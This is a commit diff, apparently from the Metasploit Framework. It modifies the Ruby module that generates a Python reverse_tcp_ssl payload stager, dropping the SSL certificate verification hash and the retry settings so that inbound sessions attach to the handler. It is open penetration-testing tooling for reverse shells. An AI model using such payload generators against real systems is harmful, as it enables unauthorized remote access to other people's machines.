Fixup transport to work with upstream
Differences in transport configuration and the actual payload do not allow a direct splice of the original files included. Clean up the payload generator to work with upstream handler, payload, and transport configuration implementation. Initial testing shows inbound sessions are created and SSL cert is now properly attaching to the handler.bug/bundler_fix
parent
a7470991d9
commit
4fdb54e6a1
|
@ -1,14 +1,13 @@
|
||||||
# -*- coding: binary -*-
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
require 'msf/core/payload/windows/verify_ssl'
|
|
||||||
require 'msf/core/payload/python/reverse_tcp'
|
require 'msf/core/payload/python/reverse_tcp'
|
||||||
|
|
||||||
module Msf
|
module Msf
|
||||||
|
|
||||||
###
|
###
|
||||||
#
|
#
|
||||||
# Complex reverse_tcp payload generation for Python
|
# Complex reverse_tcp_ssl payload generation for Python
|
||||||
#
|
#
|
||||||
###
|
###
|
||||||
|
|
||||||
|
@ -16,20 +15,14 @@ module Payload::Python::ReverseTcpSsl
|
||||||
|
|
||||||
include Msf::Payload::Python
|
include Msf::Payload::Python
|
||||||
include Msf::Payload::Python::ReverseTcp
|
include Msf::Payload::Python::ReverseTcp
|
||||||
include Msf::Payload::Windows::VerifySsl
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Generate the first stage
|
# Generate the first stage
|
||||||
#
|
#
|
||||||
def generate
|
def generate
|
||||||
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
|
|
||||||
datastore['HandlerSSLCert'])
|
|
||||||
conf = {
|
conf = {
|
||||||
port: datastore['LPORT'],
|
port: datastore['LPORT'],
|
||||||
host: datastore['LHOST'],
|
host: datastore['LHOST']
|
||||||
retry_count: datastore['ReverseConnectRetries'],
|
|
||||||
ssl: true,
|
|
||||||
verify_cert_hash: verify_cert_hash
|
|
||||||
}
|
}
|
||||||
|
|
||||||
generate_reverse_tcp_ssl(conf)
|
generate_reverse_tcp_ssl(conf)
|
||||||
|
@ -43,8 +36,8 @@ module Payload::Python::ReverseTcpSsl
|
||||||
false
|
false
|
||||||
end
|
end
|
||||||
|
|
||||||
def transport_config(opts={})
|
def supports_ssl?
|
||||||
transport_config_reverse_tcp_ssl(opts)
|
true
|
||||||
end
|
end
|
||||||
|
|
||||||
def generate_reverse_tcp_ssl(opts={})
|
def generate_reverse_tcp_ssl(opts={})
|
||||||
|
|
Loading…
Reference in New Issue